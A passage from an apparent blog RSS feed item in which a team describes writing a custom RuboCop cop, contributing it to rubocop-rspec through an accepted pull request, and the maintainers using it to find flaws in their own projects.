&lt;p&gt;In the course of studying the solution to the problem, we found that in rubocop-rspec there are no ready-made cops that could solve our problem and we decided to write our own cop and test it on our projects. In parallel, we opened the issue in the repository with a proposal to add this cop to the rubocop-rspec library.&lt;/p&gt;

&lt;p&gt;The maintainers of rubocop-rspec quickly responded and agreed that it would be a pretty useful improvement, after which we started writing this cop. &lt;a href="https://github.com/rubocop-hq/rubocop-rspec/pull/860" rel="noopener noreferrer"&gt;After weeks of work&lt;/a&gt;, the maintainers were pleased with the result of what we did and accepted the pull request.&lt;/p&gt;

&lt;p&gt;Our cop brought instant results even before we completed our work! At the stage of verification on their codebases, the maintainers found flaws in their projects.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdatarockets.com%2Fwp-content%2Fuploads%2F2020%2F03%2Fimg_5e7dc63199caf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdatarockets.com%2Fwp-content%2Fuploads%2F2020%2F03%2Fimg_5e7dc63199caf.png" alt="The result of the contribution"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are delighted that we were able to make a useful contribution to the developer community, and we will continue to do so.&lt;/p&gt;

</description>
      <category>ruby</category>
      <category>rails</category>
      <category>opensource</category>
      <category>development</category>
    </item>
  </channel>
</rss>
